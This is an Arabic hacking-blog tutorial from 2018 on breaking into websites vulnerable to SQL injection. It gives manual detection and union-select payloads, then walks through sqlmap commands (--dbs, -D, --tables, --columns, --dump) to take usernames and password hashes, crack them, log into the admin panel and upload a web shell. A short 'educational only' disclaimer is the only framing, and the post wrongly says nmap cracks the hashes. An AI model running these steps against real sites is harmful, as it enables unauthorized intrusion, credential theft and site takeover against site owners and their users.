شرح sqlmap اختراق المواقع المصابة بثغرة الحقن ٍSQLi - كورتكس هكر
اكتب ما تود البحت عنه و اضغط Enter
معذرة، فالصفحة التي تبحث عنها في هذه المدونة ليست متوفرة.

30 نوفمبر، 2018

شرح sqlmap اختراق المواقع المصابة بثغرة الحقن ٍSQLi

اقرأ أيضا



كالعادة هذا الشرح لأغراض تعليمية.. وأنا غير مسؤول عن أي استعمال غير قانوني أو غير أخلاقي

اليوم سنتعلم كيف يتم اختراق مواقع مصابة بثغرة sql injection عن طريق الاداة القوية sqlmap والمبرمجة بلغة بايثون
طبعا ثغرة sql هي ثغرة مشهورة جدا وسهلة الاستغلال وموجودة بكثرة في الكثير من المواقع الشهيرة لم تسلم منها.

الشرح


ثغرة SQL Injection هي ثغرة امنية توجد في قواعد البيانات الخاصة بالمواقع و تمكننا من رؤية كل ما بقاعدة البيانات من جداول الى اعمدة و من اعمدة الى بيانات

كيف يتم اكتشافها ؟

ساشرح لكم طريقة اكتشافها يدويا دون برامج الطريقة بسيطة جدا
يجب ان يكون الرابط على الشكل

www.site.com/index.php?id=6


الان بعدما نحصل على هذا الرابط نضيف هذه العلامة ( ' ) في نهاية الرابط فقط
مثال:

www.site.com/index.php?id=6'     

اذا لم يتغير شكل الموقع وبقي مثل ماهو اذاً فهو سليم و غير مصاب

و اذا ظهر خطأ مثل

This error message may seem cryptic at first. That is because it is a general MySQL error pointing to a syntax error of ..... 
او
You have an error in your SQL syntax; check the manual that  ....


اذا فالموقع مصاب بهذه الثغرة

طريقة استغلال الثغرة :


لاستغلال ثغرة SQL Injection هناك طريقتين
طريقة الحقن اليدوي :
و طبعا طريقة يدوية و متعبة و بدون اي برامج فقط تضيف تعديلات على الرابط مثل

order+by+1,2,3,4,5,6,7,8,9,10,11  

أمر استخراج الأعمدة المصابة:


union+select+1,2,3,4,5,6,7,8,9,10,11  

لمعرفة إصدار القاعدة:
version()  

لمعرفة قاعدة بيانات الموقع..
database()  


والعديد من الاوامرالاخرى وهذا ما يجعله صعب ,لكن النتيجة ممتازة

طريقة الحقن الاوتوماتيكي : 


طبعاً هي المشهورة نظراً لسهولتها و سرعتها

لأنه يستعمل فيها البرامج مثل Havij و اداة sqlmap فقط عليك وضع الرابط و تنتظر النتائج.

 و في هذا الشرح سنشرح الحقن الاوتوماتيكي و بالتحديد اداة sqlmap الموجودة في كالي لينكس
 و يمكنكم تحميلها على الويندوز ايضا من الموقع الرسمي

شرح الحقن بواسطة Sqlmap

أول خطوة هي استخراج قاعدة البيانات ()database ولاستخراجها نستعمل المدخل dbs--
طبعا في البداية يجب كتابة الامر
كالاتي
sqlmap -u www.site.com/blabla.php?id=blabla

لجلب قاعدة بيانات الموقع نظيف للحقنة مدخل dbs--
مثال
sqlmap -u www.site.com/page.php?id=1 --dbs
هذا شرح بسيط للاوامر المستعملة
dbs-- لاستخراج قاعدة البيانات
D- بعد الحصول على قاعدة البيانات نقوم بتمريرها للاداة على هذا الشكل
-D database
database على فرض انه اسم قاعدة البيانات, في الموقع الهدف قاعدة بياناته هي czga1

tables-- نستخرج به الجداول
بعد الحصول على الجداول نقوم بتمريرها لل sqlmap بالامر  T-
colums--  نستخرج به الصفوف الموجودة بالجداول
بعد الحصول علىصفوف نمررها للاداة بالامر  C-
dump-- أمر نستعمله لحفظ البيانات المستخرجة من الجداول



تابع الشرح بالصور كيف يتم اختراق موقع


نلاحظ ظهور قواعد البيانات كما بالصورة


الخطوة التالية هي استخراج الجداول الموجودة من قاعدة البيانات --tables


نلاحظ ظهور الجداول سنستخرج البيانات من جدول المستخدمين 


الخطوة التالية هي جلب معلومات من جدول المستخدمين user
ملاحظة اسم الجداول تختلف من موقع لاخر لذلك يجب ان تنقب عنهم
سنخرج اسماء المستخدمين وكلمات السر --columns











سنختار y حتى يقوم بفك تشفير كلمات المرور المشفرة بواسطة wordlist موجودة مع أداة sqlmap



نلاحظ ظهور جدول بيانات الدخول والذي يحتوي على اسم المستخدم وكلمة المرور
كلمات المرور تكون مشفرة بمعنى تكون على شكل هاش مثل هاش MD5 المشهور
اداة nmap تقوم بفك الهاشات السهلة والشهيرة لانها تحتوي على قاعدة بيانات صغيرة
يمكن استعمال مواقع فك التشفير وهي كثيرة سأقوم بطرحها في موضوع قادم ان شاء الله
قبل استعمال مواقع قك الهاش يجب ان تجرب اولا البحث عن الهاش بمحرك البحث google فربما سبقك اخرون بفك تشفير هذا الباسوورد مثل ما حدث معي
عندما بحثت وجد كلمة السر مكسورة وجاهزة  (webpass)  ههههه


بعد الحصول على كلمة السر قم بالبحث عن لوحة التحكم الخاصة بالموقع 
وادخل بها اسم المستخدم وكلمة المرور
بعدها ارفع الشيل shell على الموقع ومبروك الاختراق.

شارك الموضوع عبر :

كاتب الموضوع :

ليست هناك تعليقات:

إرسال تعليق

كورتكس هكر: شروحات اللينكس واختبار الاختراق والحماية | CortexHacker
كورتكس هكر هي مدونة تهتم بطرح مواضيع اختبار الاختراق وأمن المعلومات, وطرق اكتشاف الثغرات بالبرامج والمواقع و كيفية الحماية منها, وطرق التخفي وأسرار الديب ويب وكل ما يخص الاختراق الأخلاقي
جميع الحقوق محفوظة ل كورتكس هكر
صمم وكود بكل من طرف